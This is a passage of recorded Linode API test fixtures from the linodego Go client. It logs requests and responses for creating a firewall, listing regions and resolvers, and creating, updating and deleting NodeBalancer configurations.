Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228217}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441128, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-39.ip.linodeusercontent.com", "ipv4": "172.232.86.39", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441128/configs method: POST response: body: '{"id": 670346, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441128, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":8080,"protocol":"tcp","proxy_protocol":"v2","algorithm":"leastconn"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441128/configs/670346 method: PUT response: body: '{"id": 670346, "port": 8080, "protocol": "tcp", "algorithm": "leastconn", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "v2", "cipher_suite": "recommended", "nodebalancer_id": 441128, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "435" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441128/configs/670346 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441128 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228217 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerConfigs_List.yaml000066400000000000000000000660111455402072200331240ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228219, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228219}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441129, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-35.ip.linodeusercontent.com", "ipv4": "172.232.87.35", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441129/configs method: POST response: body: '{"id": 670347, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441129, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, 